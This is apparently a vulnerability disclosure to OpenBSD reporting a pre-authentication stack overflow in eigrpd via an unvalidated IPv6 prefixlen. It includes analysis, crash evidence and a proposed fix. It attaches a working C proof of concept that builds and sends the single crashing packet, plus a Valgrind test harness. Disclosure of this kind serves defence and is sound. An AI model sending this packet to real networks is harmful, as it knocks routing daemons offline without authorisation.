Hello,
I am reporting a pre-authentication stack buffer overflow in
usr.sbin/eigrpd. A single crafted
IPv6 packet sent to ff02::a from any host on the same link causes a
16-byte OOB write on the
stack inside eigrp_applymask(), triggering SIGSEGV and crashing the
eigrpd process. No neighbor
relationship, no shared secret, and no authentication is required. The
bug has been present in
the source tree since util.c v1.12 (2022/12/28).
This is the fourth finding from a current research track on OpenBSD
daemons. OSPFD-001,
OSPF6D-001, and SNMPD-001 were reported separately.
---
AFFECTED VERSIONS
Vulnerable: OpenBSD eigrpd util.c v1.12 (2022/12/28), tlv.c v1.17
(2023/06/26)
Confirmed: OpenBSD 7.8 release binary (/usr/sbin/eigrpd, amd64,
2025-10-12, 151296 bytes)
Live crash confirmed — see evidence below.
Introduced: At least util.c v1.12 (2022). The loop has no upper
bound and has never had one.
---
COMPONENT
usr.sbin/eigrpd/util.c — eigrp_applymask(), AF_INET6 branch, lines 126-136
usr.sbin/eigrpd/tlv.c — tlv_decode_route(), lines 427 and 469
usr.sbin/eigrpd/packet.c — recv_packet_eigrp(), TLV loop lines 347-417
---
SUMMARY
ri->prefixlen (uint8_t) is read directly from a wire EIGRP IPv6
Internal Route TLV
(tlv.c:427) with no range validation. It is passed unchanged to
eigrp_applymask()
(tlv.c:469), where the AF_INET6 branch contains an unbounded loop:
for (i = 0; i < prefixlen / 8; i++)
mask.s6_addr[i] = 0xff;
mask is a 16-byte struct in6_addr on the stack. With prefixlen = 0xFF
(255), the loop
runs 31 iterations, writing 0xff to mask.s6_addr[0..30] — 15 bytes
past the end of the
buffer — then writes mask.s6_addr[31] = 0xfe, a 16th byte OOB. Total:
16 bytes of
stack corruption.
The TLV parsing loop in recv_packet_eigrp() (packet.c:347-417) runs
before the neighbor
check at line 423 and before the AF/AS configuration check at line
419. Authentication
TLVs (TLV_TYPE_AUTH) are explicitly unimplemented in OpenBSD eigrpd —
silently ignored
regardless of configuration. The only pre-parse gates are the EIGRP
header checksum
(trivially computed by the attacker), version == 2, and VRID == 0.
SEVERITY
Medium (DoS-only). Attack vector is adjacent (AV:A) — same IPv6 link
as a host running
eigrpd. Single packet, no session state, no authentication. Impact
is availability only —
deterministic crash of all three eigrpd processes; daemon requires
manual restart.
CVSS v3.1: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Medium)
Not promotable to RCE. We have characterised the primitive end-to-end:
* Length axis is fully attacker-controlled: prefixlen is a uint8_t
read directly
from the wire TLV, giving 0–15 bytes of OOB write.
* Byte axis is provably fixed: the OOB writes the constant 0xff for
each in-loop
iteration (source: `mask.s6_addr[i] = 0xff;`) plus at most one truncated
`0xff00 >> i` byte (always 0x00 in the uint8_t cell for prefixlen
in [128,255]).
The attacker cannot influence the byte values.
* The constant-0xff run cleanly triggers the stack-protector canary on the
eigrp_applymask frame; control flow corruption is not reachable from this
primitive. Behaviour on a non-canary build is unmeasured but the
constant-byte
constraint applies regardless.
Operationally significant as a pre-auth single-packet
adjacent-network DoS of a
routing daemon, but not a remote-code-execution primitive on stock
OpenBSD 7.8 amd64.
---
VULNERABLE CODE
util.c v1.12 (2022/12/28) — eigrp_applymask(), AF_INET6 branch (lines 126-136):
case AF_INET6:
struct in6_addr mask; /* 16 bytes: s6_addr[0..15] */
int i;
memset(&mask, 0, sizeof(mask));
for (i = 0; i < prefixlen / 8; i++) /* line 128 — NO upper bound */
mask.s6_addr[i] = 0xff; /* line 129 — OOB when i >= 16 */
i = prefixlen % 8;
if (i)
mask.s6_addr[prefixlen / 8] = 0xff00 >> i; /* line 132 —
OOB when prefixlen >= 128 */
tlv.c v1.17 (2023/06/26) — tlv_decode_route(), IPv6 internal path
(lines 427-469):
memcpy(&ri->prefixlen, buf + offset, sizeof(ri->prefixlen)); /*
line 427 — wire read */
offset += sizeof(ri->prefixlen);
/* lines 428-468: plen check (byte count only), bad_addr check
(prefix value only) */
/* ri->prefixlen is NEVER range-checked */
eigrp_applymask(af, &ri->prefix, &ri->prefix, ri->prefixlen); /*
line 469 — TRIGGER */
---
OVERFLOW ARITHMETIC
With prefixlen = 0xFF (255, maximum uint8_t):
prefixlen / 8 = 31 → loop runs 31 iterations
sizeof(mask) = 16 → valid indices are s6_addr[0..15]
Loop body:
i = 0..15 → mask.s6_addr[0..15] = 0xff (in bounds)
i = 16..30 → mask.s6_addr[16..30] = 0xff (15 bytes OOB)
Post-loop:
prefixlen % 8 = 7 → non-zero, fires
mask.s6_addr[31] = (uint8_t)(0xff00 >> 7)
0xff00 >> 7 = 0x01fe (int) → truncated to uint8_t = 0xfe
mask.s6_addr[31] = 0xfe (16th byte OOB)
Total OOB: 16 bytes (indices 16–31), values 0xff×15 + 0xfe.
Minimum trigger: prefixlen = 129 → 1 byte OOB at s6_addr[16].
---
PRE-AUTH REACHABILITY
The TLV dispatch in recv_packet_eigrp() (packet.c:383-396):
case TLV_TYPE_IPV6_INTERNAL:
if ((tlv_type & TLV_PROTO_MASK) == TLV_PROTO_IPV6 && af != AF_INET6)
break;
if (tlv_decode_route(af, &tlv, buf, &ri) < 0)
goto error;
tlv_decode_route() — and therefore eigrp_applymask() — is called
during the TLV parsing
loop at lines 347-417. The neighbor check (nbr_find, line 423) and the
AF/AS configuration
check (eigrp_if_lookup, line 419) both execute AFTER the TLV loop
completes. With
prefixlen = 0xFF, eigrpd crashes inside the loop before reaching
either check. eigrpd
does not need to be configured for IPv6 for the overflow to trigger —
the IPv6 raw socket
is opened unconditionally and the TLV parse precedes all configuration gates.
Authentication TLV (TLV_TYPE_AUTH): the switch in packet.c falls to
default ("ignore
unknown TLV") for this type. There is a source comment confirming it
is unimplemented.
Authentication provides no protection against this attack.
Pre-parse gates an attacker must satisfy:
- EIGRP header checksum: standard one's complement, trivially computed
- version == 2
- VRID == 0x0000
- Source address must be link-local (fe80::/10): required by find_iface() at
packet.c:707. Satisfied automatically when sending to ff02::a with
IPV6_MULTICAST_IF
set — the kernel selects the interface's link-local address as source.
- TLV prefix must pass bad_addr_v6(): 2000:: (first byte 0x20) passes cleanly.
Rejected prefixes: ::, ::1, ff00::/8, fec0::/10, v4mapped,
v4compat, fe80::/10.
---
ATTACK FLOW
1. Attacker is on the same IPv6 link as a host running eigrpd (em0 or
similar interface).
2. Attacker sends a single IPv6 packet:
src: fe80::<attacker-link-local> (required; auto-selected by
kernel for multicast)
dst: ff02::a (EIGRP IPv6 multicast)
proto: 88 (EIGRP)
3. Packet contents (58 bytes):
EIGRP header (20 bytes):
version=2, opcode=1 (UPDATE), flags=0x00000000
seq=1, ack=0, VRID=0x0000, AS=1
checksum: one's complement over full packet (checksum field
zeroed for calculation)
IPv6 Internal Route TLV (38 bytes):
type=0x0402 (TLV_TYPE_IPV6_INTERNAL), length=38
nexthop: 16 zero bytes (:: = use source address)
metric: 16 zero bytes (valid; no range checks in parser)
prefixlen: 0xFF ← TRIGGER
prefix: 0x20 (first byte → 2000::; passes bad_addr_v6)
4. recv_packet_eigrp() receives packet; sanity check passes.
5. TLV loop calls tlv_decode_route() → eigrp_applymask() with prefixlen=0xFF.
6. Stack corruption. SIGSEGV. eigrpd crashes.
---
LIVE CRASH EVIDENCE — OpenBSD 7.8
Target: madHatter, OpenBSD 7.8, amd64, /usr/sbin/eigrpd 2025-10-12,
151296 bytes
Attacker: Debian 12 VM on same /24 segment, sending from
fe80::f936:6b15:5738:85c5
Config: minimal eigrpd.conf (address-family ipv6 { autonomous-system
1 { interface em0 {} } })
Run 1:
May 17 13:43:42 madHatter eigrpd[29234]: eigrp engine terminated; signal 11
Run 2 (independent restart, same packet):
May 17 13:53:12 madHatter eigrpd[84974]: eigrp engine terminated; signal 11
Both times: ps aux shows no eigrpd processes immediately after the
packet is sent.
Signal 11 = SIGSEGV. Reproducible. Single packet each time.
---
ADDITIONAL FINDINGS — same root cause, same function pattern
prefixlen2mask6() (util.c:100-113) contains an identical unbounded
loop over the same
16-byte static buffer. It is not directly reachable from the network
with attacker-
controlled input (its only caller derives prefixlen from kernel
routing messages or
hardcoded values; the wire-adjacent IPC path is gated by the eigrpd
crash above).
However, it should be hardened for defence-in-depth.
The AF_INET branch of eigrp_applymask() (util.c:123-125) uses
prefixlen2mask() which
applies a bit-shift, not a loop. With prefixlen > 32 the shift is
undefined behaviour but
produces no OOB write. Not a memory safety bug; worth a defensive clamp.
---
RECOMMENDED FIX
Primary fix — add range validation in tlv_decode_route() before line 469:
if (af == AF_INET6 && ri->prefixlen > 128) {
log_warnx("%s: invalid IPv6 prefixlen %u, dropping TLV",
__func__, ri->prefixlen);
return (-1);
}
if (af == AF_INET && ri->prefixlen > 32) {
log_warnx("%s: invalid IPv4 prefixlen %u, dropping TLV",
__func__, ri->prefixlen);
return (-1);
}
Defence-in-depth — also bound inside eigrp_applymask() and prefixlen2mask6():
/* util.c — AF_INET6 branch of eigrp_applymask(), before the loop */
if (prefixlen > 128)
prefixlen = 128;
/* util.c — prefixlen2mask6(), before the loop */
if (prefixlen > 128)
prefixlen = 128;
---
PROOF OF CONCEPT
eigrpd_poc.c — raw IPv6 socket (AF_INET6, SOCK_RAW, 88); constructs
and sends the
58-byte packet above. Requires root. Single invocation crashes
eigrpd on OpenBSD 7.8.
Build: gcc -Wall -std=c99 -o eigrpd_poc eigrpd_poc.c
Usage: sudo ./eigrpd_poc <interface> # multicast to ff02::a
sudo ./eigrpd_poc <interface> <target> # unicast to specific host
eigrpd_applymask_harness.c — standalone Valgrind harness reproducing
the vulnerable
logic in isolation. Confirmed on Linux aarch64 (Valgrind 3.24.0, gcc 12):
Vulnerable path (prefixlen=255): 17 errors across 3 contexts
Fixed path (prefixlen guard added): 0 errors
Attachments: eigrpd_poc.c, eigrpd_applymask_harness.c
---
REFERENCES
usr.sbin/eigrpd/util.c v1.12 (2022/12/28) — eigrp_applymask() lines 126-136
usr.sbin/eigrpd/util.c v1.12 (2022/12/28) — prefixlen2mask6() lines 100-113
usr.sbin/eigrpd/tlv.c v1.17 (2023/06/26) — tlv_decode_route() lines 427, 469
usr.sbin/eigrpd/packet.c v1.24 (2026/05/05) — recv_packet_eigrp()
lines 347-423
CWE-119 (Improper Restriction of Operations within the Bounds of a
Memory Buffer)
CWE-20 (Improper Input Validation)
Thank you for your time.
Stuart Thomas
/*
* eigrpd_poc.c â EIGRPD-001
* Pre-auth stack buffer overflow in eigrp_applymask() via crafted IPv6 prefixlen
*
* Bug: ri->prefixlen (uint8_t) is read from an IPv6 Internal route TLV (type 0x0402)
* without range validation (tlv.c:427). It is passed directly to eigrp_applymask()
* (tlv.c:469). With prefixlen=0xFF, the loop in eigrp_applymask() (util.c:128-129)
* runs 31 iterations writing 0xff to mask.s6_addr[0..30] â 15 bytes OOB â then
* writes mask.s6_addr[31] = 0xfe, a 16th byte OOB. Stack corruption â eigrpd crash.
*
* Pre-auth: TLV loop in recv_packet_eigrp() runs before nbr_find() (packet.c:423).
* Auth TLV is unimplemented in OpenBSD eigrpd â silently ignored.
* Only gate: EIGRP header checksum (trivially computed), version=2, vrid=0.
*
* Source: util.c v1.12 (2022/12/28), tlv.c v1.17 (2023/06/26)
* CVSS v3.1: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Medium)
*
* Usage:
* ./eigrpd_poc <interface> # multicast to ff02::a
* ./eigrpd_poc <interface> <target_ipv6> # unicast
*
* Source address requirement: eigrpd's find_iface() (packet.c:707) requires the
* packet source to be link-local (fe80::/10). When targeting ff02::a, the kernel
* automatically selects the interface's fe80:: address as source â no explicit
* bind() needed. Targeting a global unicast address directly requires the source
* to still be link-local; set IPV6_MULTICAST_IF and let the kernel choose.
*
* Build:
* gcc -Wall -std=c99 -o eigrpd_poc eigrpd_poc.c
*
* Requires root (raw socket). Run against isolated test eigrpd only.
* Research: EIGRPD-001, 2026-05-17
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <net/if.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* ââ EIGRP constants (verified from OpenBSD eigrp.h) ââ */
#define EIGRP_HEADER_VERSION 2
#define EIGRP_VRID_UNICAST_AF 0x0000
#define EIGRP_OPC_UPDATE 1
#define TLV_TYPE_IPV6_INTERNAL 0x0402
#define TLV_HDR_LEN 4
#define TLV_TYPE_IPV6_INT_MIN_LEN 37 /* TLV_TYPE_IPV6_INT_MIN_LEN = 0x0025 */
#define EIGRP_MCAST_V6 "ff02::a"
/*
* EIGRP packet header â 20 bytes (eigrp.h lines 110-119)
*/
struct eigrp_hdr {
uint8_t version; /* offset 0 */
uint8_t opcode; /* offset 1 */
uint16_t chksum; /* offset 2 â network byte order */
uint32_t flags; /* offset 4 â network byte order */
uint32_t seq_num; /* offset 8 â network byte order */
uint32_t ack_num; /* offset 12 â network byte order */
uint16_t vrid; /* offset 16 â network byte order */
uint16_t as; /* offset 18 â network byte order */
} __attribute__((packed)); /* 20 bytes total */
/*
* TLV header â 4 bytes (eigrp.h lines 127-130)
*/
struct tlv_hdr {
uint16_t type; /* network byte order */
uint16_t length; /* includes these 4 bytes */
} __attribute__((packed));
/*
* Classic metric â 16 bytes (eigrp.h lines 155-164)
*/
struct classic_metric {
uint32_t delay; /* network byte order */
uint32_t bandwidth; /* network byte order */
uint8_t mtu[3]; /* 3-byte big-endian */
uint8_t hop_count;
uint8_t reliability;
uint8_t load;
uint8_t tag;
uint8_t flags;
} __attribute__((packed)); /* 16 bytes total */
/*
* IPv6 Internal Route TLV payload â assembled field by field.
*
* Wire layout after TLV header (verified from tlv.c tlv_decode_route()):
* offset 4: nexthop struct in6_addr (16 bytes)
* offset 20: metric struct classic_metric (16 bytes)
* offset 36: prefixlen uint8_t (1 byte) â TRIGGER
* offset 37: prefix plen bytes where plen = tlv->length - 37
*
* Note: OpenBSD reads plen = tlv->length - 37, NOT PREFIX_SIZE6(prefixlen).
* The prefixlen byte is stored raw and passed to eigrp_applymask() without validation.
*
* Minimum TLV (length=37): 0 prefix bytes, prefixlen can be anything (0-255).
* Our trigger: length=38, 1 prefix byte (0x20 â prefix = 2000:: â passes bad_addr_v6).
*/
struct ipv6_int_tlv {
struct tlv_hdr hdr; /* type=0x0402, length=38 */
struct in6_addr nexthop; /* :: = use source address */
struct classic_metric metric; /* all zeros = valid (no validation in parser) */
uint8_t prefixlen; /* 0xFF â TRIGGER */
uint8_t prefix[1]; /* 1 byte: 0x20 â 2000:: (passes bad_addr_v6) */
} __attribute__((packed)); /* 38 bytes total */
/* Standard 16-bit one's complement checksum (same as OpenBSD in_cksum()) */
static uint16_t
cksum(const void *data, size_t len)
{
const uint16_t *buf = (const uint16_t *)data;
uint32_t sum = 0;
while (len > 1) { sum += *buf++; len -= 2; }
if (len) sum += *(const uint8_t *)buf;
while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
return (uint16_t)~sum;
}
static void
usage(const char *prog)
{
fprintf(stderr, "Usage: %s <interface> [target_ipv6]\n", prog);
fprintf(stderr, " interface network interface (e.g. eth0, em0)\n");
fprintf(stderr, " target IPv6 address, default: %s (EIGRP multicast)\n",
EIGRP_MCAST_V6);
exit(1);
}
int
main(int argc, char *argv[])
{
if (argc < 2)
usage(argv[0]);
const char *ifname = argv[1];
const char *target = (argc > 2) ? argv[2] : EIGRP_MCAST_V6;
unsigned int ifindex = if_nametoindex(ifname);
if (ifindex == 0) {
fprintf(stderr, "Unknown interface: %s\n", ifname);
return 1;
}
/* ââ Assemble packet ââ */
/* 1. IPv6 Internal Route TLV â 38 bytes */
struct ipv6_int_tlv tlv;
memset(&tlv, 0, sizeof(tlv));
tlv.hdr.type = htons(TLV_TYPE_IPV6_INTERNAL); /* 0x0402 */
tlv.hdr.length = htons((uint16_t)sizeof(tlv)); /* 38 */
/* nexthop = :: (already zero â means use source) */
/* metric = all zeros (valid, no range check in parser) */
tlv.prefixlen = 0xFF; /* TRIGGER: causes 16 bytes OOB in eigrp_applymask() */
tlv.prefix[0] = 0x20; /* first byte of 2000:: â passes bad_addr_v6 */
/* 2. EIGRP header â 20 bytes */
struct eigrp_hdr hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.version = EIGRP_HEADER_VERSION; /* 2 */
hdr.opcode = EIGRP_OPC_UPDATE; /* 1 â UPDATE triggers route TLV parsing */
hdr.chksum = 0; /* filled in after assembly */
hdr.flags = 0; /* no special flags needed */
hdr.seq_num = htonl(1);
hdr.ack_num = 0;
hdr.vrid = htons(EIGRP_VRID_UNICAST_AF); /* 0x0000 â required by sanity check */
hdr.as = htons(1); /* AS 1 */
/* 3. Full packet: header + TLV */
size_t pktlen = sizeof(hdr) + sizeof(tlv); /* 20 + 38 = 58 bytes */
uint8_t *pkt = malloc(pktlen);
if (!pkt) { perror("malloc"); return 1; }
memcpy(pkt, &hdr, sizeof(hdr));
memcpy(pkt + sizeof(hdr), &tlv, sizeof(tlv));
/* 4. Compute EIGRP checksum over full packet (checksum field must be zero) */
uint16_t cs = cksum(pkt, pktlen);
((struct eigrp_hdr *)pkt)->chksum = cs;
/* ââ Print summary ââ */
printf("[*] EIGRPD-001 â Pre-Auth Stack Overflow PoC\n");
printf("[*] Interface: %s (ifindex %u)\n", ifname, ifindex);
printf("[*] Target: %s\n", target);
printf("[*] Packet: %zu bytes = %zu header + %zu TLV\n",
pktlen, sizeof(hdr), sizeof(tlv));
printf("[*] TLV: type=0x%04X (IPv6 Internal), length=%u\n",
TLV_TYPE_IPV6_INTERNAL, (unsigned)sizeof(tlv));
printf("[*] prefixlen: 0xFF â loop runs 31 iters on 16-byte mask â 16 bytes OOB\n");
printf("[*] checksum: 0x%04X\n\n", ntohs(cs));
/* ââ Create raw IPv6 socket ââ */
int fd = socket(AF_INET6, SOCK_RAW, 88);
if (fd < 0) {
perror("socket(AF_INET6, SOCK_RAW, 88)");
fprintf(stderr, "Requires root.\n");
free(pkt);
return 1;
}
/* Bind to specific interface for multicast (and general accuracy) */
if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE,
ifname, (socklen_t)strlen(ifname)) < 0) {
perror("setsockopt SO_BINDTODEVICE");
/* non-fatal â continue */
}
/* Outgoing interface for multicast */
if (setsockopt(fd, IPPROTO_IPV6, IPV6_MULTICAST_IF,
&ifindex, sizeof(ifindex)) < 0) {
perror("setsockopt IPV6_MULTICAST_IF");
}
/* Hop limit = 1 (link-local) */
int hops = 1;
setsockopt(fd, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, &hops, sizeof(hops));
setsockopt(fd, IPPROTO_IPV6, IPV6_UNICAST_HOPS, &hops, sizeof(hops));
/* ââ Destination ââ */
struct sockaddr_in6 dst;
memset(&dst, 0, sizeof(dst));
dst.sin6_family = AF_INET6;
dst.sin6_scope_id = ifindex;
if (inet_pton(AF_INET6, target, &dst.sin6_addr) != 1) {
fprintf(stderr, "Invalid address: %s\n", target);
close(fd);
free(pkt);
return 1;
}
/* ââ Send ââ */
printf("[*] Sending %zu-byte packet to %s on %s...\n", pktlen, target, ifname);
ssize_t n = sendto(fd, pkt, pktlen, 0,
(struct sockaddr *)&dst, sizeof(dst));
if (n < 0) {
perror("sendto");
close(fd);
free(pkt);
return 1;
}
printf("[+] Sent %zd bytes.\n", n);
printf("\n[*] Expected result on target:\n");
printf(" eigrp_applymask() writes 0xff x15 + 0xfe past 16-byte stack mask\n");
printf(" Stack canary hit â eigrpd aborts â process gone from ps(1)\n");
printf(" Check: ssh target 'ps aux | grep eigrpd'\n");
printf(" Or: run target eigrpd as: eigrpd -dvv 2>&1 | head -20\n");
close(fd);
free(pkt);
return 0;
}
/*
* eigrpd_applymask_harness.c
* EIGRPD-001: Stack buffer overflow in eigrp_applymask() via wire-controlled prefixlen
*
* Reproduces the vulnerable logic from usr.sbin/eigrpd/util.c
* eigrp_applymask() for AF_INET6 with prefixlen > 128.
*
* Bug: prefixlen is uint8_t read directly from wire TLV with no range check.
* With prefixlen=255: loop runs 31 iterations writing to mask.s6_addr[0..30],
* but mask is only 16 bytes (s6_addr[0..15]). 15 bytes written OOB.
* Then mask.s6_addr[31] written â 16th byte OOB.
*
* Build:
* gcc -Wall -std=c99 -g -o eigrpd_applymask_harness eigrpd_applymask_harness.c
*
* Valgrind:
* valgrind --tool=memcheck --error-exitcode=1 ./eigrpd_applymask_harness
*
* Build with ASan (Linux only):
* gcc -Wall -std=c99 -g -fsanitize=address -o eigrpd_applymask_harness eigrpd_applymask_harness.c
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/*
* Exact copy of eigrp_applymask() for AF_INET6 from util.c.
* Do NOT trust comments in original source â reproduced from executable logic only.
*/
static void
vulnerable_applymask_v6(struct in6_addr *addr, const struct in6_addr *src,
uint8_t prefixlen)
{
struct in6_addr mask; /* 16 bytes â s6_addr[0..15] */
int i;
memset(&mask, 0, sizeof(mask));
for (i = 0; i < prefixlen / 8; i++) /* no upper bound â OOB when prefixlen > 128 */
mask.s6_addr[i] = 0xff; /* writes past s6_addr[15] when i >= 16 */
i = prefixlen % 8;
if (i)
mask.s6_addr[prefixlen / 8] = 0xff00 >> i; /* writes s6_addr[prefixlen/8] */
/* Apply mask */
for (i = 0; i < 16; i++)
addr->s6_addr[i] = src->s6_addr[i] & mask.s6_addr[i];
}
/*
* Fixed version: validate prefixlen <= 128 before use.
*/
static void
fixed_applymask_v6(struct in6_addr *addr, const struct in6_addr *src,
uint8_t prefixlen)
{
struct in6_addr mask;
int i;
if (prefixlen > 128) {
/* invalid â treat as host route or error */
memset(addr, 0, sizeof(*addr));
return;
}
memset(&mask, 0, sizeof(mask));
for (i = 0; i < prefixlen / 8; i++)
mask.s6_addr[i] = 0xff;
i = prefixlen % 8;
if (i)
mask.s6_addr[prefixlen / 8] = 0xff00 >> i;
for (i = 0; i < 16; i++)
addr->s6_addr[i] = src->s6_addr[i] & mask.s6_addr[i];
}
static void
test_vulnerable(uint8_t prefixlen)
{
struct in6_addr addr, src;
char buf[INET6_ADDRSTRLEN];
inet_pton(AF_INET6, "2001:db8::1", &src);
printf("=== VULNERABLE: prefixlen=%u ===\n", (unsigned)prefixlen);
printf("Loop iterations: prefixlen/8 = %u\n", (unsigned)(prefixlen / 8));
printf("s6_addr has 16 slots [0..15]\n");
printf("Writes to s6_addr[0..%u] in loop (%s)\n",
(prefixlen / 8) > 0 ? (prefixlen / 8) - 1 : 0,
(prefixlen / 8) > 16 ? "OOB!" : "in bounds");
if (prefixlen % 8)
printf("Writes to s6_addr[%u] after loop (%s)\n",
prefixlen / 8,
(prefixlen / 8) >= 16 ? "OOB!" : "in bounds");
vulnerable_applymask_v6(&addr, &src, prefixlen);
inet_ntop(AF_INET6, &addr, buf, sizeof(buf));
printf("Result: %s\n\n", buf);
}
static void
test_fixed(uint8_t prefixlen)
{
struct in6_addr addr, src;
char buf[INET6_ADDRSTRLEN];
inet_pton(AF_INET6, "2001:db8::1", &src);
fixed_applymask_v6(&addr, &src, prefixlen);
inet_ntop(AF_INET6, &addr, buf, sizeof(buf));
printf("FIXED prefixlen=%u: %s\n", (unsigned)prefixlen, buf);
}
int
main(void)
{
printf("=== Arithmetic proof ===\n");
printf("sizeof(struct in6_addr) = %zu\n", sizeof(struct in6_addr));
printf("sizeof(mask.s6_addr) = %zu\n", sizeof(((struct in6_addr *)0)->s6_addr));
printf("Valid prefixlen range for IPv6: 0-128\n\n");
printf("=== Safe values (should produce no OOB) ===\n");
test_vulnerable(0);
test_vulnerable(64);
test_vulnerable(128);
printf("=== Trigger values (OOB writes) ===\n");
test_vulnerable(129); /* 1 byte OOB in loop */
test_vulnerable(255); /* 15 bytes OOB in loop + 1 after = 16 bytes total OOB */
printf("=== Fixed path ===\n");
test_fixed(129);
test_fixed(255);
return 0;
}